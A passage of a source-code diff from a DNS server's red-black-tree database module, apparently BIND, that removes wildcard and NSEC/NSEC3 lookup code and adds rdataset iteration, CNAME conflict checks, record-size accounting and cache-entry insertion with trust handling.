-	origin = dns_fixedname_initname(&forigin);
+	iterator = isc_mem_get(rbtdb->common.mctx, sizeof(*iterator));
 
-	/*
-	 * Find if qname is at or below a empty node.
-	 * Use our own copy of the chain.
-	 */
+	if ((db->attributes & DNS_DBATTR_CACHE) == 0) {
+		now = 0;
+		if (rbtversion == NULL) {
+			dns__rbtdb_currentversion(
+				db, (dns_dbversion_t **)(void *)(&rbtversion));
+		} else {
+			INSIST(rbtversion->rbtdb == rbtdb);
 
-	chain = search->chain;
-	do {
-		node = NULL;
-		result = dns_rbtnodechain_current(&chain, &name, origin, &node);
-		if (result != ISC_R_SUCCESS) {
-			break;
-		}
-		NODE_LOCK(&(rbtdb->node_locks[node->locknum].lock),
-			  isc_rwlocktype_read);
-		for (header = node->data; header != NULL; header = header->next)
-		{
-			if (header->serial <= search->serial &&
-			    !IGNORE(header) && EXISTS(header)) {
-				break;
-			}
+			(void)isc_refcount_increment(&rbtversion->references);
 		}
-		NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock),
-			    isc_rwlocktype_read);
-		if (header != NULL) {
-			break;
+	} else {
+		if (now == 0) {
+			now = isc_stdtime_now();
 		}
-		result = dns_rbtnodechain_prev(&chain, NULL, NULL);
-	} while (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN);
-	if (result == ISC_R_SUCCESS) {
-		result = dns_name_concatenate(&name, origin, prev, NULL);
-	}
-	if (result != ISC_R_SUCCESS) {
-		check_prev = false;
+		rbtversion = NULL;
 	}
 
-	result = dns_rbtnodechain_next(&chain, NULL, NULL);
-	while (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
-		node = NULL;
-		result = dns_rbtnodechain_current(&chain, &name, origin, &node);
-		if (result != ISC_R_SUCCESS) {
-			break;
-		}
-		NODE_LOCK(&(rbtdb->node_locks[node->locknum].lock),
-			  isc_rwlocktype_read);
-		for (header = node->data; header != NULL; header = header->next)
-		{
-			if (header->serial <= search->serial &&
-			    !IGNORE(header) && EXISTS(header)) {
-				break;
-			}
-		}
-		NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock),
-			    isc_rwlocktype_read);
-		if (header != NULL) {
-			break;
-		}
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
-	}
-	if (result == ISC_R_SUCCESS) {
-		result = dns_name_concatenate(&name, origin, next, NULL);
-	}
-	if (result != ISC_R_SUCCESS) {
-		check_next = false;
-	}
+	iterator->common.magic = DNS_RDATASETITER_MAGIC;
+	iterator->common.methods = &rdatasetiter_methods;
+	iterator->common.db = db;
+	iterator->common.node = node;
+	iterator->common.version = (dns_dbversion_t *)rbtversion;
+	iterator->common.options = options;
+	iterator->common.now = now;
 
-	dns_name_clone(qname, &rname);
+	refs = isc_refcount_increment(&rbtnode->references);
+#if DNS_DB_NODETRACE
+	fprintf(stderr, "incr:node:%s:%s:%u:%p->references = %" PRIuFAST32 "\n",
+		func, file, line, node, refs + 1);
+#else
+	UNUSED(refs);
+#endif
 
-	/*
-	 * Remove the wildcard label to find the terminal name.
-	 */
-	n = dns_name_countlabels(wname);
-	dns_name_getlabelsequence(wname, 1, n - 1, &tname);
+	iterator->current = NULL;
 
-	do {
-		if ((check_prev && dns_name_issubdomain(prev, &rname)) ||
-		    (check_next && dns_name_issubdomain(next, &rname)))
-		{
-			answer = true;
-			break;
-		}
-		/*
-		 * Remove the left hand label.
-		 */
-		n = dns_name_countlabels(&rname);
-		dns_name_getlabelsequence(&rname, 1, n - 1, &rname);
-	} while (!dns_name_equal(&rname, &tname));
-	return (answer);
+	*iteratorp = (dns_rdatasetiter_t *)iterator;
+
+	return (ISC_R_SUCCESS);
 }
 
-static inline isc_result_t
-find_wildcard(rbtdb_search_t *search, dns_rbtnode_t **nodep,
-	      const dns_name_t *qname) {
-	unsigned int i, j;
-	dns_rbtnode_t *node, *level_node, *wnode;
-	rdatasetheader_t *header;
-	isc_result_t result = ISC_R_NOTFOUND;
-	dns_name_t name;
-	dns_name_t *wname;
-	dns_fixedname_t fwname;
-	dns_rbtdb_t *rbtdb;
-	bool done, wild, active;
-	dns_rbtnodechain_t wchain;
+static bool
+cname_and_other_data(dns_rbtnode_t *node, uint32_t serial) {
+	dns_slabheader_t *header = NULL, *header_next = NULL;
+	bool cname, other_data;
+	dns_rdatatype_t rdtype;
 
 	/*
-	 * Caller must be holding the tree lock and MUST NOT be holding
-	 * any node locks.
+	 * The caller must hold the node lock.
 	 */
 
 	/*
-	 * Examine each ancestor level.  If the level's wild bit
-	 * is set, then construct the corresponding wildcard name and
-	 * search for it.  If the wildcard node exists, and is active in
-	 * this version, we're done.  If not, then we next check to see
-	 * if the ancestor is active in this version.  If so, then there
-	 * can be no possible wildcard match and again we're done.  If not,
-	 * continue the search.
+	 * Look for CNAME and "other data" rdatasets active in our version.
 	 */
-
-	rbtdb = search->rbtdb;
-	i = search->chain.level_matches;
-	done = false;
-	node = *nodep;
-	do {
-		NODE_LOCK(&(rbtdb->node_locks[node->locknum].lock),
-			  isc_rwlocktype_read);
-
-		/*
-		 * First we try to figure out if this node is active in
-		 * the search's version.  We do this now, even though we
-		 * may not need the information, because it simplifies the
-		 * locking and code flow.
-		 */
-		for (header = node->data; header != NULL; header = header->next)
-		{
-			if (header->serial <= search->serial &&
-			    !IGNORE(header) && EXISTS(header)) {
-				break;
+	cname = false;
+	other_data = false;
+	for (header = node->data; header != NULL; header = header_next) {
+		header_next = header->next;
+		if (header->type == dns_rdatatype_cname) {
+			/*
+			 * Look for an active extant CNAME.
+			 */
+			do {
+				if (header->serial <= serial && !IGNORE(header))
+				{
+					/*
+					 * Is this a "this rdataset doesn't
+					 * exist" record?
+					 */
+					if (NONEXISTENT(header)) {
+						header = NULL;
+					}
+					break;
+				} else {
+					header = header->down;
+				}
+			} while (header != NULL);
+			if (header != NULL) {
+				cname = true;
 			}
-		}
-		if (header != NULL) {
-			active = true;
-		} else {
-			active = false;
-		}
-
-		if (node->wild) {
-			wild = true;
 		} else {
-			wild = false;
-		}
-
-		NODE_UNLOCK(&(rbtdb->node_locks[node->locknum].lock),
-			    isc_rwlocktype_read);
-
-		if (wild) {
 			/*
-			 * Construct the wildcard name for this level.
+			 * Look for active extant "other data".
+			 *
+			 * "Other data" is any rdataset whose type is not
+			 * KEY, NSEC, SIG or RRSIG.
 			 */
-			dns_name_init(&name, NULL);
-			dns_rbt_namefromnode(node, &name);
-			wname = dns_fixedname_initname(&fwname);
-			result = dns_name_concatenate(dns_wildcardname, &name,
-						      wname, NULL);
-			j = i;
-			while (result == ISC_R_SUCCESS && j != 0) {
-				j--;
-				level_node = search->chain.levels[j];
-				dns_name_init(&name, NULL);
-				dns_rbt_namefromnode(level_node, &name);
-				result = dns_name_concatenate(wname, &name,
-							      wname, NULL);
-			}
-			if (result != ISC_R_SUCCESS) {
-				break;
-			}
-
-			wnode = NULL;
-			dns_rbtnodechain_init(&wchain);
-			result = dns_rbt_findnode(
-				rbtdb->tree, wname, NULL, &wnode, &wchain,
-				DNS_RBTFIND_EMPTYDATA, NULL, NULL);
-			if (result == ISC_R_SUCCESS) {
-				nodelock_t *lock;
-
+			rdtype = DNS_TYPEPAIR_TYPE(header->type);
+			if (rdtype != dns_rdatatype_key &&
+			    rdtype != dns_rdatatype_sig &&
+			    rdtype != dns_rdatatype_nsec &&
+			    rdtype != dns_rdatatype_rrsig)
+			{
 				/*
-				 * We have found the wildcard node.  If it
-				 * is active in the search's version, we're
-				 * done.
+				 * Is it active and extant?
 				 */
-				lock = &rbtdb->node_locks[wnode->locknum].lock;
-				NODE_LOCK(lock, isc_rwlocktype_read);
-				for (header = wnode->data; header != NULL;
-				     header = header->next) {
-					if (header->serial <= search->serial &&
-					    !IGNORE(header) && EXISTS(header)) {
+				do {
+					if (header->serial <= serial &&
+					    !IGNORE(header))
+					{
+						/*
+						 * Is this a "this rdataset
+						 * doesn't exist" record?
+						 */
+						if (NONEXISTENT(header)) {
+							header = NULL;
+						}
 						break;
+					} else {
+						header = header->down;
 					}
+				} while (header != NULL);
+				if (header != NULL) {
+					other_data = true;
 				}
-				NODE_UNLOCK(lock, isc_rwlocktype_read);
-				if (header != NULL ||
-				    activeempty(search, &wchain, wname)) {
-					if (activeemptynode(search, qname,
-							    wname)) {
-						return (ISC_R_NOTFOUND);
-					}
-					/*
-					 * The wildcard node is active!
-					 *
-					 * Note: result is still ISC_R_SUCCESS
-					 * so we don't have to set it.
-					 */
-					*nodep = wnode;
-					break;
-				}
-			} else if (result != ISC_R_NOTFOUND &&
-				   result != DNS_R_PARTIALMATCH) {
-				/*
-				 * An error has occurred.  Bail out.
-				 */
-				break;
 			}
 		}
+	}
 
-		if (active) {
-			/*
-			 * The level node is active.  Any wildcarding
-			 * present at higher levels has no
-			 * effect and we're done.
-			 */
-			result = ISC_R_NOTFOUND;
-			break;
-		}
-
-		if (i > 0) {
-			i--;
-			node = search->chain.levels[i];
-		} else {
-			done = true;
-		}
-	} while (!done);
+	if (cname && other_data) {
+		return (true);
+	}
 
-	return (result);
+	return (false);
 }
 
-static bool
-matchparams(rdatasetheader_t *header, rbtdb_search_t *search) {
-	dns_rdata_t rdata = DNS_RDATA_INIT;
-	dns_rdata_nsec3_t nsec3;
-	unsigned char *raw; /* RDATASLAB */
-	unsigned int rdlen, count;
-	isc_region_t region;
-	isc_result_t result;
-
-	REQUIRE(header->type == dns_rdatatype_nsec3);
-
-	raw = (unsigned char *)header + sizeof(*header);
-	count = raw[0] * 256 + raw[1]; /* count */
-	raw += DNS_RDATASET_COUNT + DNS_RDATASET_LENGTH;
-
-	while (count-- > 0) {
-		rdlen = raw[0] * 256 + raw[1];
-		raw += DNS_RDATASET_ORDER + DNS_RDATASET_LENGTH;
-		region.base = raw;
-		region.length = rdlen;
-		dns_rdata_fromregion(&rdata, search->rbtdb->common.rdclass,
-				     dns_rdatatype_nsec3, &region);
-		raw += rdlen;
-		result = dns_rdata_tostruct(&rdata, &nsec3, NULL);
-		INSIST(result == ISC_R_SUCCESS);
-		if (nsec3.hash == search->rbtversion->hash &&
-		    nsec3.iterations == search->rbtversion->iterations &&
-		    nsec3.salt_length == search->rbtversion->salt_length &&
-		    memcmp(nsec3.salt, search->rbtversion->salt,
-			   nsec3.salt_length) == 0)
-		{
-			return (true);
-		}
-		dns_rdata_reset(&rdata);
-	}
-	return (false);
+static uint64_t
+recordsize(dns_slabheader_t *header, unsigned int namelen) {
+	return (dns_rdataslab_rdatasize((unsigned char *)header,
+					sizeof(*header)) +
+		sizeof(dns_ttl_t) + sizeof(dns_rdatatype_t) +
+		sizeof(dns_rdataclass_t) + namelen);
 }
 
-/*
- * Find node of the NSEC/NSEC3 record that is 'name'.
- */
-static inline isc_result_t
-previous_closest_nsec(dns_rdatatype_t type, rbtdb_search_t *search,
-		      dns_name_t *name, dns_name_t *origin,
-		      dns_rbtnode_t **nodep, dns_rbtnodechain_t *nsecchain,
-		      bool *firstp) {
-	dns_fixedname_t ftarget;
-	dns_name_t *target;
-	dns_rbtnode_t *nsecnode;
+static void
+update_recordsandxfrsize(bool add, dns_rbtdb_version_t *rbtversion,
+			 dns_slabheader_t *header, unsigned int namelen) {
+	unsigned char *hdr = (unsigned char *)header;
+	size_t hdrsize = sizeof(*header);
+
+	RWLOCK(&rbtversion->rwlock, isc_rwlocktype_write);
+	if (add) {
+		rbtversion->records += dns_rdataslab_count(hdr, hdrsize);
+		rbtversion->xfrsize += recordsize(header, namelen);
+	} else {
+		rbtversion->records -= dns_rdataslab_count(hdr, hdrsize);
+		rbtversion->xfrsize -= recordsize(header, namelen);
+	}
+	RWUNLOCK(&rbtversion->rwlock, isc_rwlocktype_write);
+}
+
+isc_result_t
+dns__rbtdb_add(dns_rbtdb_t *rbtdb, dns_rbtnode_t *rbtnode,
+	       const dns_name_t *nodename, dns_rbtdb_version_t *rbtversion,
+	       dns_slabheader_t *newheader, unsigned int options, bool loading,
+	       dns_rdataset_t *addedrdataset, isc_stdtime_t now DNS__DB_FLARG) {
+	rbtdb_changed_t *changed = NULL;
+	dns_slabheader_t *topheader = NULL, *topheader_prev = NULL;
+	dns_slabheader_t *header = NULL, *sigheader = NULL;
+	unsigned char *merged = NULL;
 	isc_result_t result;
+	bool header_nx;
+	bool newheader_nx;
+	bool merge;
+	dns_rdatatype_t rdtype, covers;
+	dns_typepair_t negtype = 0, sigtype;
+	dns_trust_t trust;
+	int idx;
 
-	REQUIRE(nodep != NULL && *nodep == NULL);
-	REQUIRE(type == dns_rdatatype_nsec3 || firstp != NULL);
+	if ((options & DNS_DBADD_MERGE) != 0) {
+		REQUIRE(rbtversion != NULL);
+		merge = true;
+	} else {
+		merge = false;
+	}
 
-	if (type == dns_rdatatype_nsec3) {
-		result = dns_rbtnodechain_prev(&search->chain, NULL, NULL);
-		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-			return (result);
-		}
-		result = dns_rbtnodechain_current(&search->chain, name, origin,
-						  nodep);
-		return (result);
+	if ((options & DNS_DBADD_FORCE) != 0) {
+		trust = dns_trust_ultimate;
+	} else {
+		trust = newheader->trust;
 	}
 
-	target = dns_fixedname_initname(&ftarget);
+	if (rbtversion != NULL && !loading) {
+		/*
+		 * We always add a changed record, even if no changes end up
+		 * being made to this node, because it's harmless and
+		 * simplifies the code.
+		 */
+		changed = add_changed(newheader, rbtversion DNS__DB_FLARG_PASS);
+		if (changed == NULL) {
+			dns_slabheader_destroy(&newheader);
+			return (ISC_R_NOMEMORY);
+		}
+	}
 
-	for (;;) {
-		if (*firstp) {
+	newheader_nx = NONEXISTENT(newheader) ? true : false;
+	if (rbtversion == NULL && !newheader_nx) {
+		rdtype = DNS_TYPEPAIR_TYPE(newheader->type);
+		covers = DNS_TYPEPAIR_COVERS(newheader->type);
+		sigtype = DNS_TYPEPAIR_VALUE(dns_rdatatype_rrsig, covers);
+		if (NEGATIVE(newheader)) {
 			/*
-			 * Construct the name of the second node to check.
-			 * It is the first node sought in the NSEC tree.
+			 * We're adding a negative cache entry.
 			 */
-			*firstp = false;
-			dns_rbtnodechain_init(nsecchain);
-			result = dns_name_concatenate(name, origin, target,
-						      NULL);
-			if (result != ISC_R_SUCCESS) {
-				return (result);
-			}
-			nsecnode = NULL;
-			result = dns_rbt_findnode(
-				search->rbtdb->nsec, target, NULL, &nsecnode,
-				nsecchain, DNS_RBTFIND_EMPTYDATA, NULL, NULL);
-			if (result == ISC_R_SUCCESS) {
+			if (covers == dns_rdatatype_any) {
 				/*
-				 * Since this was the first loop, finding the
-				 * name in the NSEC tree implies that the first
-				 * node checked in the main tree had an
-				 * unacceptable NSEC record.
-				 * Try the previous node in the NSEC tree.
+				 * If we're adding an negative cache entry
+				 * which covers all types (NXDOMAIN,
+				 * NODATA(QTYPE=ANY)),
+				 *
+				 * We make all other data ancient so that the
+				 * only rdataset that can be found at this
+				 * node is the negative cache entry.
 				 */
-				result = dns_rbtnodechain_prev(nsecchain, name,
-							       origin);
-				if (result == DNS_R_NEWORIGIN) {
-					result = ISC_R_SUCCESS;
-				}
-			} else if (result == ISC_R_NOTFOUND ||
-				   result == DNS_R_PARTIALMATCH) {
-				result = dns_rbtnodechain_current(
-					nsecchain, name, origin, NULL);
-				if (result == ISC_R_NOTFOUND) {
-					result = ISC_R_NOMORE;
+				for (topheader = rbtnode->data;
+				     topheader != NULL;
+				     topheader = topheader->next)
+				{
+					mark_ancient(topheader);
 				}
+				goto find_header;
 			}
-		} else {
 			/*
-			 * This is a second or later trip through the auxiliary
-			 * tree for the name of a third or earlier NSEC node in
-			 * the main tree.  Previous trips through the NSEC tree
-			 * must have found nodes in the main tree with NSEC
-			 * records.  Perhaps they lacked signature records.
+			 * Otherwise look for any RRSIGs of the given
+			 * type so they can be marked ancient later.
 			 */
-			result = dns_rbtnodechain_prev(nsecchain, name, origin);
-			if (result == DNS_R_NEWORIGIN) {
-				result = ISC_R_SUCCESS;
+			for (topheader = rbtnode->data; topheader != NULL;
+			     topheader = topheader->next)
+			{
+				if (topheader->type == sigtype) {
+					sigheader = topheader;
+				}
 			}
-		}
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-
-		/*
-		 * Construct the name to seek in the main tree.
-		 */
-		result = dns_name_concatenate(name, origin, target, NULL);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-
-		*nodep = NULL;
-		result = dns_rbt_findnode(search->rbtdb->tree, target, NULL,
-					  nodep, &search->chain,
-					  DNS_RBTFIND_EMPTYDATA, NULL, NULL);
-		if (result == ISC_R_SUCCESS) {
-			return (result);
-		}
-
-		/*
-		 * There should always be a node in the main tree with the
-		 * same name as the node in the auxiliary NSEC tree, except for
-		 * nodes in the auxiliary tree that are awaiting deletion.
-		 */
-		if (result != DNS_R_PARTIALMATCH && result != ISC_R_NOTFOUND) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_CACHE, ISC_LOG_ERROR,
-				      "previous_closest_nsec(): %s",
-				      isc_result_totext(result));
-			return (DNS_R_BADDB);
-		}
-	}
-}
-
-/*
- * Find the NSEC/NSEC3 which is or before the current point on the
- * search chain.  For NSEC3 records only NSEC3 records that match the
- * current NSEC3PARAM record are considered.
- */
-static inline isc_result_t
-find_closest_nsec(rbtdb_search_t *search, dns_dbnode_t **nodep,
-		  dns_name_t *foundname, dns_rdataset_t *rdataset,
-		  dns_rdataset_t *sigrdataset, dns_rbt_t *tree,
-		  dns_db_secure_t secure) {
-	dns_rbtnode_t *node, *prevnode;
-	rdatasetheader_t *header, *header_next, *found, *foundsig;
-	dns_rbtnodechain_t nsecchain;
-	bool empty_node;
-	isc_result_t result;
-	dns_fixedname_t fname, forigin;
-	dns_name_t *name, *origin;
-	dns_rdatatype_t type;
-	rbtdb_rdatatype_t sigtype;
-	bool wraps;
-	bool first = true;
-	bool need_sig = (secure == dns_db_secure);
-
-	if (tree == search->rbtdb->nsec3) {
-		type = dns_rdatatype_nsec3;
-		sigtype = RBTDB_RDATATYPE_SIGNSEC3;
-		wraps = true;
-	} else {
-		type = dns_rdatatype_nsec;
-		sigtype = RBTDB_RDATATYPE_SIGNSEC;
-		wraps = false;
-	}
-
-	/*
-	 * Use the auxiliary tree only starting with the second node in the
-	 * hope that the original node will be right much of the time.
-	 */
-	name = dns_fixedname_initname(&fname);
-	origin = dns_fixedname_initname(&forigin);
-again:
-	node = NULL;
-	prevnode = NULL;
-	result = dns_rbtnodechain_current(&search->chain, name, origin, &node);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	do {
-		NODE_LOCK(&(search->rbtdb->node_locks[node->locknum].lock),
-			  isc_rwlocktype_read);
-		found = NULL;
-		foundsig = NULL;
-		empty_node = true;
-		for (header = node->data; header != NULL; header = header_next)
-		{
-			header_next = header->next;
+			negtype = DNS_TYPEPAIR_VALUE(covers, 0);
+		} else {
 			/*
-			 * Look for an active, extant NSEC or RRSIG NSEC.
+			 * We're adding something that isn't a
+			 * negative cache entry.  Look for an extant
+			 * non-ancient NXDOMAIN/NODATA(QTYPE=ANY) negative
+			 * cache entry.  If we're adding an RRSIG, also
+			 * check for an extant non-ancient NODATA ncache
+			 * entry which covers the same type as the RRSIG.
 			 */
-			do {
-				if (header->serial <= search->serial &&
-				    !IGNORE(header)) {
-					/*
-					 * Is this a "this rdataset doesn't
-					 * exist" record?
-					 */
-					if (NONEXISTENT(header)) {
-						header = NULL;
-					}
+			for (topheader = rbtnode->data; topheader != NULL;
+			     topheader = topheader->next)
+			{
+				if ((topheader->type ==
+				     RBTDB_RDATATYPE_NCACHEANY) ||
+				    (newheader->type == sigtype &&
+				     topheader->type ==
+					     DNS_TYPEPAIR_VALUE(0, covers)))
+				{
 					break;
-				} else {
-					header = header->down;
-				}
-			} while (header != NULL);
-			if (header != NULL) {
-				/*
-				 * We now know that there is at least one
-				 * active rdataset at this node.
-				 */
-				empty_node = false;
-				if (header->type == type) {
-					found = header;
-					if (foundsig != NULL) {
-						break;
-					}
-				} else if (header->type == sigtype) {
-					foundsig = header;
-					if (found != NULL) {
-						break;
-					}
 				}
 			}
-		}
-		if (!empty_node) {
-			if (found != NULL && search->rbtversion->havensec3 &&
-			    found->type == dns_rdatatype_nsec3 &&
-			    !matchparams(found, search))
+			if (topheader != NULL && EXISTS(topheader) &&
+			    ACTIVE(topheader, now))
 			{
-				empty_node = true;
-				found = NULL;
-				foundsig = NULL;
-				result = previous_closest_nsec(
-					type, search, name, origin, &prevnode,
-					NULL, NULL);
-			} else if (found != NULL &&
-				   (foundsig != NULL || !need_sig)) {
 				/*
-				 * We've found the right NSEC/NSEC3 record.
-				 *
-				 * Note: for this to really be the right
-				 * NSEC record, it's essential that the NSEC
-				 * records of any nodes obscured by a zone
-				 * cut have been removed; we assume this is
-				 * the case.
+				 * Found one.
 				 */
-				result = dns_name_concatenate(name, origin,
-							      foundname, NULL);
-				if (result == ISC_R_SUCCESS) {
-					if (nodep != NULL) {
-						new_reference(
-							search->rbtdb, node,
-							isc_rwlocktype_read);
-						*nodep = node;
-					}
-					bind_rdataset(search->rbtdb, node,
-						      found, search->now,
-						      isc_rwlocktype_read,
-						      rdataset);
-					if (foundsig != NULL) {
-						bind_rdataset(
-							search->rbtdb, node,
-							foundsig, search->now,
-							isc_rwlocktype_read,
-							sigrdataset);
+				if (trust < topheader->trust) {
+					/*
+					 * The NXDOMAIN/NODATA(QTYPE=ANY)
+					 * is more trusted.
+					 */
+					dns_slabheader_destroy(&newheader);
+					if (addedrdataset != NULL) {
+						dns__rbtdb_bindrdataset(
+							rbtdb, rbtnode,
+							topheader, now,
+							isc_rwlocktype_write,
+							addedrdataset
+								DNS__DB_FLARG_PASS);
 					}
+					return (DNS_R_UNCHANGED);
 				}
-			} else if (found == NULL && foundsig == NULL) {
-				/*
-				 * This node is active, but has no NSEC or
-				 * RRSIG NSEC.  That means it's glue or
-				 * other obscured zone data that isn't
-				 * relevant for our search.  Treat the
-				 * node as if it were empty and keep looking.
-				 */
-				empty_node = true;
-				result = previous_closest_nsec(
-					type, search, name, origin, &prevnode,
-					&nsecchain, &first);
-			} else {
 				/*
-				 * We found an active node, but either the
-				 * NSEC or the RRSIG NSEC is missing.  This
-				 * shouldn't happen.
+				 * The new rdataset is better.  Expire the
+				 * ncache entry.
 				 */
-				result = DNS_R_BADDB;
+				mark_ancient(topheader);
+				topheader = NULL;
+				goto find_header;
 			}
-		} else {
-			/*
-			 * This node isn't active.  We've got to keep
-			 * looking.
-			 */
-			result = previous_closest_nsec(type, search, name,
-						       origin, &prevnode,
-						       &nsecchain, &first);
-		}
-		NODE_UNLOCK(&(search->rbtdb->node_locks[node->locknum].lock),
-			    isc_rwlocktype_read);
-		node = prevnode;
-		prevnode = NULL;
-	} while (empty_node && result == ISC_R_SUCCESS);
-
-	if (!first) {
-		dns_rbtnodechain_invalidate(&nsecchain);
-	}
-
-	if (result == ISC_R_NOMORE && wraps) {
-		result = dns_rbtnodechain_last(&search->chain, tree, NULL,
-					       NULL);
-		if (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
-			wraps = false;
-			goto again;
+			negtype = DNS_TYPEPAIR_VALUE(0, rdtype);
 		}
 	}
 
-	/*
-	 * If the result is ISC_R_NOMORE, then we got to the beginning of
-	 * the database and didn't find a NSEC record.  This shouldn't
-	 * happen.
-	 */
-	if (result == ISC_R_NOMORE) {
-		result = DNS_R_BADDB;
+	for (topheader = rbtnode->data; topheader != NULL;
+	     topheader = topheader->next)
+	{
+		if (topheader->type == newheader->type ||
+		    topheader->type == negtype)
+		{
+			break;
+		}
+		topheader_prev = topheader;
 	}
 
-	return (result);
-}
-
-static isc_result_t
-zone_find(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
-	  dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
-	  dns_dbnode_t **nodep, dns_name_t *foundname, dns_rdataset_t *rdataset,
-	  dns_rdataset_t *sigrdataset) {
-	dns_rbtnode_t *node = NULL;
-	isc_result_t result;
-	rbtdb_search_t search;
-	bool cname_ok = true;
-	bool close_version = false;
-	bool maybe_zonecut = false;
-	bool at_zonecut = false;
-	bool wild;
-	bool empty_node;
-	rdatasetheader_t *header, *header_next, *found, *nsecheader;
-	rdatasetheader_t *foundsig, *cnamesig, *nsecsig;
-	rbtdb_rdatatype_t sigtype;
-	bool active;
-	nodelock_t *lock;
-	dns_rbt_t *tree;
-
-	search.rbtdb = (dns_rbtdb_t *)db;
-
-	REQUIRE(VALID_RBTDB(search.rbtdb));
-	INSIST(version == NULL ||
-	       ((rbtdb_version_t *)version)->rbtdb == (dns_rbtdb_t *)db);
-
-	/*
-	 * We don't care about 'now'.
-	 */
-	UNUSED(now);
-
-	/*
-	 * If the caller didn't supply a version, attach to the current
-	 * version.
-	 */
-	if (version == NULL) {
-		currentversion(db, &version);
-		close_version = true;
-	}
-
-	search.rbtversion = version;
-	search.serial = search.rbtversion->serial;
-	search.options = options;
-	search.copy_name = false;
-	search.need_cleanup = false;
-	search.wild = false;
-	search.zonecut = NULL;
-	dns_fixedname_init(&search.zonecut_name);
-	dns_rbtnodechain_init(&search.chain);
-	search.now = 0;
-
-	/*
-	 * 'wild' will be true iff. we've matched a wildcard.
-	 */
-	wild = false;
-
-	RWLOCK(&search.rbtdb->tree_lock, isc_rwlocktype_read);
-
+find_header:
 	/*
-	 * Search down from the root of the tree.  If, while going down, we
-	 * encounter a callback node, zone_zonecut_callback() will search the
-	 * rdatasets at the zone cut for active DNAME or NS rdatasets.
+	 * If header isn't NULL, we've found the right type.  There may be
+	 * IGNORE rdatasets between the top of the chain and the first real
+	 * data.  We skip over them.
 	 */
-	tree = (options & DNS_DBFIND_FORCENSEC3) != 0 ? search.rbtdb->nsec3
-						      : search.rbtdb->tree;
-	result = dns_rbt_findnode(tree, name, foundname, &node, &search.chain,
-				  DNS_RBTFIND_EMPTYDATA, zone_zonecut_callback,
-				  &search);
-
-	if (result == DNS_R_PARTIALMATCH) {
-	partial_match:
-		if (search.zonecut != NULL) {
-			result = setup_delegation(&search, nodep, foundname,
-						  rdataset, sigrdataset);
-			goto tree_exit;
-		}
-
-		if (search.wild) {
-			/*
-			 * At least one of the levels in the search chain
-			 * potentially has a wildcard.  For each such level,
-			 * we must see if there's a matching wildcard active
-			 * in the current version.
-			 */
-			result = find_wildcard(&search, &node, name);
-			if (result == ISC_R_SUCCESS) {
-				dns_name_copy(name, foundname);
-				wild = true;
-				goto found;
-			} else if (result != ISC_R_NOTFOUND) {
-				goto tree_exit;
-			}
-		}
+	header = topheader;
+	while (header != NULL && IGNORE(header)) {
+		header = header->down;
+	}
+	if (header != NULL) {
+		header_nx = NONEXISTENT(header) ? true : false;
 
-		active = false;
-		if ((options & DNS_DBFIND_FORCENSEC3) == 0) {
-			/*
-			 * The NSEC3 tree won't have empty nodes,
-			 * so it isn't necessary to check for them.
-			 */
-			dns_rbtnodechain_t chain = search.chain;
-			active = activeempty(&search, &chain, name);
+		/*
+		 * Deleting an already non-existent rdataset has no effect.
+		 */
+		if (header_nx && newheader_nx) {
+			dns_slabheader_destroy(&newheader);
+			return (DNS_R_UNCHANGED);
 		}
 
 		/*
-		 * If we're here, then the name does not exist, is not
-		 * beneath a zonecut, and there's no matching wildcard.
+		 * Trying to add an rdataset with lower trust to a cache
+		 * DB has no effect, provided that the cache data isn't
+		 * stale. If the cache data is stale, new lower trust
+		 * data will supersede it below. Unclear what the best
+		 * policy is here.
 		 */
-		if ((search.rbtversion->secure == dns_db_secure &&
-		     !search.rbtversion->havensec3) ||
-		    (search.options & DNS_DBFIND_FORCENSEC) != 0 ||
-		    (search.options & DNS_DBFIND_FORCENSEC3) != 0)
+		if (rbtversion == NULL && trust < header->trust &&
+		    (ACTIVE(header, now) || header_nx))
 		{
-			result = find_closest_nsec(&search, nodep, foundname,
-						   rdataset, sigrdataset, tree,
-						   search.rbtversion->secure);
-			if (result == ISC_R_SUCCESS) {
-				result = active ? DNS_R_EMPTYNAME
-						: DNS_R_NXDOMAIN;
+			dns_slabheader_destroy(&newheader);
+			if (addedrdataset != NULL) {
+				dns__rbtdb_bindrdataset(
+					rbtdb, rbtnode, header, now,
+					isc_rwlocktype_write,
+					addedrdataset DNS__DB_FLARG_PASS);
 			}
-		} else {
-			result = active ? DNS_R_EMPTYNAME : DNS_R_NXDOMAIN;
+			return (DNS_R_UNCHANGED);
 		}
-		goto tree_exit;
-	} else if (result != ISC_R_SUCCESS) {
-		goto tree_exit;
-	}
-
-found:
-	/*
-	 * We have found a node whose name is the desired name, or we
-	 * have matched a wildcard.
-	 */
 
-	if (search.zonecut != NULL) {
-		/*
-		 * If we're beneath a zone cut, we don't want to look for
-		 * CNAMEs because they're not legitimate zone glue.
-		 */
-		cname_ok = false;
-	} else {
 		/*
-		 * The node may be a zone cut itself.  If it might be one,
-		 * make sure we check for it later.
-		 *
-		 * DS records live above the zone cut in ordinary zone so
-		 * we want to ignore any referral.
-		 *
-		 * Stub zones don't have anything "above" the delegation so
-		 * we always return a referral.
+		 * Don't merge if a nonexistent rdataset is involved.
 		 */
-		if (node->find_callback &&
-		    ((node != search.rbtdb->origin_node &&
-		      !dns_rdatatype_atparent(type)) ||
-		     IS_STUB(search.rbtdb)))
-		{
-			maybe_zonecut = true;
+		if (merge && (header_nx || newheader_nx)) {
+			merge = false;
 		}
-	}
-
-	/*
-	 * Certain DNSSEC types are not subject to CNAME matching
-	 * (RFC4035, section 2.5 and RFC3007).
-	 *
-	 * We don't check for RRSIG, because we don't store RRSIG records
-	 * directly.
-	 */
-	if (type == dns_rdatatype_key || type == dns_rdatatype_nsec) {
-		cname_ok = false;
-	}
 
-	/*
-	 * We now go looking for rdata...
-	 */
-
